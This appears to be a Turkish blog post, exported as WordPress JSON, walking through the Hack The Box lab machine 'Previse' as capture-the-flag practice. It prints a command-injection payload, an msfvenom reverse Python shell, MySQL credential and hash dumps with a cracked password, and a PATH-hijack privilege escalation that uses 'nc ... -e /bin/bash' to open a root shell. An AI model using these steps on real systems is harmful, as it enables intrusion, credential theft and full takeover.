{"id":2050,"date":"2023-03-07T22:05:31","date_gmt":"2023-03-07T22:05:31","guid":{"rendered":"https:\/\/berenkudaygorun.com\/blog\/?p=2050"},"modified":"2023-03-07T22:05:31","modified_gmt":"2023-03-07T22:05:31","slug":"previse","status":"publish","type":"post","link":"https:\/\/berenkudaygorun.com\/blog\/blog\/2023\/03\/07\/previse\/","title":{"rendered":"Previse"},"content":{"rendered":"\n\n\n\n\n
Makine Ad\u0131<\/th>\nSeviye<\/th>\nOS<\/th>\nLogo<\/th>\n<\/tr>\n<\/thead>\n
Previse<\/a> – HTB<\/td>\nKolay<\/td>\nLinux<\/td>\n\"\"<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

Walkthrough<\/h2>\n

nmap<\/p>\n

\u250c\u2500\u2500(root\u327fMSI)-[\/tmp]\n\u2514\u2500# nmap -A -F -Pn 10.10.11.104\nStarting Nmap 7.93 ( https:\/\/nmap.org ) at 2023-03-07 14:04 +03\nNmap scan report for 10.10.11.104\nHost is up (0.23s latency).\nNot shown: 98 closed tcp ports (reset)\nPORT   STATE SERVICE VERSION\n22\/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey: \n|   2048 53ed4440116e8bda698579c081f23a12 (RSA)\n|   256 bc5420ac1723bb5020f4e16e620f01b5 (ECDSA)\n|_  256 33c189ea5973b1788438a421100c91d8 (ED25519)\n80\/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))\n|_http-server-header: Apache\/2.4.29 (Ubuntu)\n| http-title: Previse Login\n|_Requested resource was login.php\n| http-cookie-flags: \n|   \/: \n|     PHPSESSID: \n|_      httponly flag not set\nNo exact OS matches for host (If you know what OS is running on it, see https:\/\/nmap.org\/submit\/ ).\nTCP\/IP fingerprint:\nOS:SCAN(V=7.93%E=4%D=3\/7%OT=22%CT=7%CU=33011%PV=Y%DS=2%DC=T%G=Y%TM=64071A6E\nOS:%P=x86_64-pc-linux-gnu)SEQ(SP=107%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=A)OPS(\nOS:O1=M53CST11NW7%O2=M53CST11NW7%O3=M53CNNT11NW7%O4=M53CST11NW7%O5=M53CST11\nOS:NW7%O6=M53CST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(\nOS:R=Y%DF=Y%T=40%W=FAF0%O=M53CNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS\nOS:%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=\nOS:Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=\nOS:R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T\nOS:=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=\nOS:S)\n\nNetwork Distance: 2 hops\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel\n\nTRACEROUTE (using port 8888\/tcp)\nHOP RTT       ADDRESS\n1   257.58 ms 10.10.14.1\n2   257.69 ms 10.10.11.104\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\nNmap done: 1 IP address (1 host up) scanned in 32.04 seconds<\/code><\/pre>\n
Sayfay\u0131 inceledim. Bir login paneli vard\u0131 ve ilk ba\u015fta sqli denedim ancak ba\u015far\u0131l\u0131 olamad\u0131m daha sonras\u0131nda ffuf ile tarama yapmaya ba\u015flad\u0131m. Bu noktada buldu\u011fum baz\u0131 pathler vard\u0131 ancak giri\u015f i\u015flemi yap\u0131lmad\u0131\u011f\u0131 i\u00e7in login sayfas\u0131na geri d\u00f6nd\u00fcr\u00fcyordu beni. Bu noktada burp’\u00fc\u00fc a\u00e7\u0131p daha sonras\u0131nda 302 olarak gelen stat\u00fc kodunu 200 olarak de\u011fi\u015ftirdim bu sayede a\u015fa\u011f\u0131da tespit etmi\u015f oldu\u011fum sayfalar\u0131 g\u00f6r\u00fcnt\u00fcleyebildim.<\/p>\n
\u250c\u2500\u2500(root\u327fMSI)-[\/tmp]\n\u2514\u2500# ffuf -u http:\/\/10.10.11.104\/FUZZ -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt -e .php,.html,.txt -t 100 -c -fs 2801,277\n\n        \/'___\\  \/'___\\           \/'___\\       \n       \/\\ \\__\/ \/\\ \\__\/  __  __  \/\\ \\__\/       \n       \\ \\ ,__\\\\ \\ ,__\\\/\\ \\\/\\ \\ \\ \\ ,__\\      \n        \\ \\ \\_\/ \\ \\ \\_\/\\ \\ \\_\\ \\ \\ \\ \\_\/      \n         \\ \\_\\   \\ \\_\\  \\ \\____\/  \\ \\_\\       \n          \\\/_\/    \\\/_\/   \\\/___\/    \\\/_\/       \n\n       v2.0.0-dev\n________________________________________________\n\n :: Method           : GET\n :: URL              : http:\/\/10.10.11.104\/FUZZ\n :: Wordlist         : FUZZ: \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt\n :: Extensions       : .php .html .txt \n :: Follow redirects : false\n :: Calibration      : false\n :: Timeout          : 10\n :: Threads          : 100\n :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500\n :: Filter           : Response size: 2801,277\n________________________________________________\n\n[Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 337ms]\n    * FUZZ: download.php\n\n[Status: 200, Size: 2224, Words: 486, Lines: 54, Duration: 243ms]\n    * FUZZ: login.php\n\n[Status: 302, Size: 6076, Words: 1995, Lines: 131, Duration: 331ms]\n    * FUZZ: files.php\n\n[Status: 200, Size: 980, Words: 183, Lines: 21, Duration: 306ms]\n    * FUZZ: header.php\n\n[Status: 200, Size: 1248, Words: 462, Lines: 32, Duration: 297ms]\n    * FUZZ: nav.php\n\n[Status: 200, Size: 217, Words: 10, Lines: 6, Duration: 302ms]\n    * FUZZ: footer.php\n\n[Status: 301, Size: 310, Words: 20, Lines: 10, Duration: 305ms]\n    * FUZZ: css\n\n[Status: 302, Size: 2970, Words: 749, Lines: 75, Duration: 310ms]\n    * FUZZ: status.php\n\n[Status: 301, Size: 309, Words: 20, Lines: 10, Duration: 307ms]\n    * FUZZ: js\n\n[Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 307ms]\n    * FUZZ: logout.php\n\n[Status: 302, Size: 3994, Words: 1096, Lines: 94, Duration: 308ms]\n    * FUZZ: accounts.php\n\n[Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 336ms]\n    * FUZZ: config.php\n\n[Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 267ms]\n    * FUZZ: logs.php\n<\/code><\/pre>\n
accounts.php sayfas\u0131na girdi\u011fimde kullan\u0131c\u0131 olu\u015fturabildi\u011fimi g\u00f6rd\u00fcm daha sonras\u0131nda bir kullan\u0131c\u0131 olu\u015fturdum ve web uygulamas\u0131na girdim. files.php<\/strong> sayfas\u0131nda bir backup dosyas\u0131n\u0131n oldu\u011funu g\u00f6rd\u00fcm ve dosyay\u0131 indirdi\u011fimde internet sayfas\u0131n\u0131n kodlar\u0131n\u0131 okuma f\u0131rsat\u0131 buldum tam burda bir os command injection yapabilece\u011fimi farkettim.<\/p>\n
\u250c\u2500\u2500(root\u327fMSI)-[\/tmp\/site]\n\u2514\u2500# cat logs.php \n<?php\nsession_start();\nif (!isset($_SESSION['user'])) {\n    header('Location: login.php');\n    exit;\n}\n?>\n\n<?php\nif (!$_SERVER['REQUEST_METHOD'] == 'POST') {\n    header('Location: login.php');\n    exit;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/I tried really hard to parse the log delims in PHP, but python was SO MUCH EASIER\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n$output = exec("\/usr\/bin\/python \/opt\/scripts\/log_process.py {$_POST['delim']}");\necho $output;\n\n$filepath = "\/var\/www\/out.log";\n$filename = "out.log";    \n\nif(file_exists($filepath)) {\n    header('Content-Description: File Transfer');\n    header('Content-Type: application\/octet-stream');\n    header('Content-Disposition: attachment; filename="'.basename($filepath).'"');\n    header('Expires: 0');\n    header('Cache-Control: must-revalidate');\n    header('Pragma: public');\n    header('Content-Length: ' . filesize($filepath));\n    ob_clean(); \/\/ Discard data in the output buffer\n    flush(); \/\/ Flush system headers\n    readfile($filepath);\n    die();\n} else {\n    http_response_code(404);\n    die();\n} \n?><\/code><\/pre>\n
BUnun \u00fczerine a\u015fa\u011f\u0131daki gibi bir payload olu\u015ftrdum ve daha sonras\u0131nda sleep yaz\u0131p deneme i\u015f\u015flemi yapt\u0131\u011f\u0131m payloadda reverse ald\u0131m.<\/p>\n
POST \/logs.php HTTP\/1.1\nHost: 10.10.11.104\nContent-Length: 16\nCache-Control: max-age=0\nUpgrade-Insecure-Requests: 1\nOrigin: http:\/\/10.10.11.104\nContent-Type: application\/x-www-form-urlencoded\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.5481.78 Safari\/537.36\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.7\nReferer: http:\/\/10.10.11.104\/file_logs.php\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nCookie: PHPSESSID=7s7524d85epgm7hicd2jiqscjl\nConnection: close\n\ndelim=comma; sleep 5;<\/code><\/pre>\n
\u250c\u2500\u2500(root\u327fMSI)-[\/tmp]\n\u2514\u2500# msfvenom -p cmd\/unix\/reverse_python LHOST=10.10.14.8 LPORT=443\n[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload\n[-] No arch selected, selecting arch: cmd from the payload\nNo encoder specified, outputting raw payload\nPayload size: 360 bytes\npython -c "exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNrLzC3ILypRKM5Pzk4tUQADHQUYKC5NKijKT04tLkaXyS+2BpIZ+cUltkqGBnogZKJnoQQSBJlna2JiDGIX20IM1oNQGlCeo1u8p59rCIZ1ENlgf2fv+OCQIFdHX02wIXrJ+Xl5qcklGhogC9F1gezTBCvML9ZLKS0w0ijWS8vMSc3L19BEV2tApDpDItUZgdUV2CICSi85MSdHQ0k\/KTNPPymxOENJEwCtNlsv')[0])))"<\/code><\/pre>\n
msf6 > use exploit\/multi\/handler                                                                                      \n[*] Using configured payload generic\/shell_reverse_tcp                                                                \nmsf6 exploit(multi\/handler) > set payload cmd\/unix\/reverse_python                                                     \npayload => cmd\/unix\/reverse_python                                                                                    \nmsf6 exploit(multi\/handler) > show options                                                                            \n\nModule options (exploit\/multi\/handler):                                                                               \n\n   Name  Current Setting  Required  Description                                                                       \n   ----  ---------------  --------  -----------     \n\nPayload options (cmd\/unix\/reverse_python):                \n\n   Name   Current Setting  Required  Description                                                                      \n   ----   ---------------  --------  -----------                                                                      \n   LHOST                   yes       The listen address (an interface may be specified)                               \n   LPORT  4444             yes       The listen port       \n   SHELL  \/bin\/bash        yes       The system shell to use.                                                         \n\nExploit target:          \n\n   Id  Name                                 \n   --  ----                                 \n   0   Wildcard Target       \n\nView the full module info with the info, or info -d command.                                                          \n\nmsf6 exploit(multi\/handler) > set LHOST 10.10.14.8\nLHOST => 10.10.14.8           \nmsf6 exploit(multi\/handler) > set LPORT 443 \nLPORT => 443\nmsf6 exploit(multi\/handler) > exploit \n\n[*] Started reverse TCP handler on 10.10.14.8:443 \n[*] Command shell session 1 opened (10.10.14.8:443 -> 10.10.11.104:38910) at 2023-03-07 14:11:58 +0300\n\n\u0130D\n\/bin\/bash: line 3: $'\\304\\260D': command not found\nid\nuid=33(www-data) gid=33(www-data) groups=33(www-data)<\/code><\/pre>\n
\u0130\u00e7eri girdi\u011fimde config dosyas\u0131n\u0131 g\u00f6rd\u00fcm ve mysql credential’lar\u0131n\u0131 okudum. Ba\u011fland\u0131m ve credleri ald\u0131m.<\/p>\n
www-data@previse:\/var\/www\/html$ mysql -u root -p\nmysql -u root -p\nEnter password: mySQL_p@ssw0rd!:)\n\nWelcome to the MySQL monitor.  Commands end with ; or \\g.\nYour MySQL connection id is 3651\nServer version: 5.7.35-0ubuntu0.18.04.1 (Ubuntu)\n\nCopyright (c) 2000, 2021, Oracle and\/or its affiliates.\n\nOracle is a registered trademark of Oracle Corporation and\/or its\naffiliates. Other names may be trademarks of their respective\nowners.\n\nType 'help;' or '\\h' for help. Type '\\c' to clear the current input statement.\n\nmysql> show databases;\nshow databases;\n+--------------------+\n| Database           |\n+--------------------+\n| information_schema |\n| mysql              |\n| performance_schema |\n| previse            |\n| sys                |\n+--------------------+\n5 rows in set (0.00 sec)\n\nmysql> use previse;\nuse previse;\nReading table information for completion of table and column names\nYou can turn off this feature to get a quicker startup with -A\n\nDatabase changed\nmysql> show tables;\nshow tables;\n+-------------------+\n| Tables_in_previse |\n+-------------------+\n| accounts          |\n| files             |\n+-------------------+\n2 rows in set (0.00 sec)\n\nmysql> select * from accounts;\nselect * from accounts;\n+----+----------+------------------------------------+---------------------+\n| id | username | password                           | created_at          |\n+----+----------+------------------------------------+---------------------+\n|  1 | m4lwhere | $1$🧂llol$DQpmdvnb7EeuO6UaqRItf.    | 2021-05-27 18:18:36 |\n|  2 | kuday    | $1$🧂llol$ilNRTMD9IWmLVPDmvnN9F. | 2023-03-07 11:00:00 |\n+----+----------+------------------------------------+---------------------+<\/code><\/pre>\n
Daha sonras\u0131nda bunu k\u0131rd\u0131m.<\/p>\n
\u250c\u2500\u2500(root\u327fMSI)-[\/tmp]\n\u2514\u2500# john --wordlist=test --format=md5crypt-long hash\nUsing default input encoding: UTF-8\nLoaded 1 password hash (md5crypt-long, crypt(3) $1$ (and variants) [MD5 32\/64])\nWill run 8 OpenMP threads\nPress 'q' or Ctrl-C to abort, almost any other key for status\nilovecody112235! (?)     \n1g 0:00:00:00 DONE (2023-03-07 15:02) 16.66g\/s 150.0p\/s 150.0c\/s 150.0C\/s agmfspkgsf\nUse the "--show" option to display all of the cracked passwords reliably\nSession completed. <\/code><\/pre>\n
SSH ile ba\u011flant\u0131 kurdum ve flag de\u011ferini okudum.<\/p>\n
\n\u250c\u2500\u2500(root\u327fMSI)-[\/tmp]\n\u2514\u2500# ssh m4lwhere@10.10.11.104            \nThe authenticity of host '10.10.11.104 (10.10.11.104)' can't be established.\nED25519 key fingerprint is SHA256:BF5tg2bhcRrrCuaeVQXikjd8BCPxgLsnnwHlaBo3dPs.\nThis key is not known by any other names.\nAre you sure you want to continue connecting (yes\/no\/[fingerprint])? yes\nWarning: Permanently added '10.10.11.104' (ED25519) to the list of known hosts.\nm4lwhere@10.10.11.104's password: \nWelcome to Ubuntu 18.04.5 LTS (GNU\/Linux 4.15.0-151-generic x86_64)\n\n * Documentation:  https:\/\/help.ubuntu.com\n * Management:     https:\/\/landscape.canonical.com\n * Support:        https:\/\/ubuntu.com\/advantage\n\n  System information as of Tue Mar  7 12:04:02 UTC 2023\n\n  System load:  0.0               Processes:           196\n  Usage of \/:   52.0% of 4.85GB   Users logged in:     0\n  Memory usage: 31%               IP address for eth0: 10.10.11.104\n  Swap usage:   0%\n\n0 updates can be applied immediately.\n\nLast login: Fri Jun 18 01:09:10 2021 from 10.10.10.5\nm4lwhere@previse:~$ pwd\n\/home\/m4lwhere\nm4lwhere@previse:~$ ls\nuser.txt\nm4lwhere@previse:~$ cat user.txt \ne3cffcea46d89982d826d06b907434ed\nm4lwhere@previse:~$ <\/code><\/pre>\n
\u015eimdi hak y\u00fckseltelim.<\/p>\n
\u250c\u2500\u2500(root\u327fMSI)-[\/tmp]\n\u2514\u2500# ssh m4lwhere@10.10.11.104\nm4lwhere@10.10.11.104's password: \nPermission denied, please try again.\nm4lwhere@10.10.11.104's password: \nWelcome to Ubuntu 18.04.5 LTS (GNU\/Linux 4.15.0-151-generic x86_64)\n\n * Documentation:  https:\/\/help.ubuntu.com\n * Management:     https:\/\/landscape.canonical.com\n * Support:        https:\/\/ubuntu.com\/advantage\n\n  System information as of Tue Mar  7 20:05:06 UTC 2023\n\n  System load:  0.0               Processes:           196\n  Usage of \/:   52.0% of 4.85GB   Users logged in:     0\n  Memory usage: 31%               IP address for eth0: 10.10.11.104\n  Swap usage:   0%\n\n0 updates can be applied immediately.\n\nFailed to connect to https:\/\/changelogs.ubuntu.com\/meta-release-lts. Check your Internet connection or proxy settings\n\nLast login: Tue Mar  7 12:04:03 2023 from 10.10.14.8\nm4lwhere@previse:~$ id\nuid=1000(m4lwhere) gid=1000(m4lwhere) groups=1000(m4lwhere)\nm4lwhere@previse:~$ sudo -l\n[sudo] password for m4lwhere: \nUser m4lwhere may run the following commands on previse:\n    (root) \/opt\/scripts\/access_backup.sh<\/code><\/pre>\n
Burada securepath olmad\u0131\u011f\u0131 i\u00e7in PATH Hijacking yapabiliriz.<\/p>\n
m4lwhere@previse:\/$ cd \/tmp\nm4lwhere@previse:\/tmp$ echo 'nc 10.10.14.8 4444 -e \/bin\/bash' > gzip\nm4lwhere@previse:\/tmp$ sudo -l\nUser m4lwhere may run the following commands on previse:\n    (root) \/opt\/scripts\/access_backup.sh\nm4lwhere@previse:\/tmp$ export PATH=\/tmp:$PATH\nm4lwhere@previse:\/tmp$ sudo PATH=$PATH -u root \/opt\/scripts\/access_backup.sh<\/code><\/pre>\n
\u250c\u2500\u2500(root\u327fMSI)-[\/tmp]\n\u2514\u2500# nc -lvp 4444\nlistening on [any] 4444 ...\n10.10.11.104: inverse host lookup failed: Unknown host\nconnect to [10.10.14.8] from (UNKNOWN) [10.10.11.104] 54258\nid\nuid=0(root) gid=0(root) groups=0(root)\ncd \/root\nls\nroot.txt\ncat root.txt\na1e6dbca6319166ec206f5b6853942da<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"
Makine Ad\u0131 Seviye OS Logo Previse – HTB Kolay Linux Walkthrough nmap \u250c\u2500\u2500(root\u327fMSI)-[\/tmp] \u2514\u2500# nmap -A -F -Pn 10.10.11.104 Starting Nmap 7.93 ( https:\/\/nmap.org )…<\/p>\n
Devam\u0131n\u0131 okuPrevise<\/span><\/a><\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[498],"tags":[],"class_list":["post-2050","post","type-post","status-publish","format-standard","hentry","category-walkthrough","entry"],"_links":{"self":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/2050","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/comments?post=2050"}],"version-history":[{"count":1,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/2050\/revisions"}],"predecessor-version":[{"id":2051,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/2050\/revisions\/2051"}],"wp:attachment":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/media?parent=2050"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/categories?post=2050"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/tags?post=2050"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}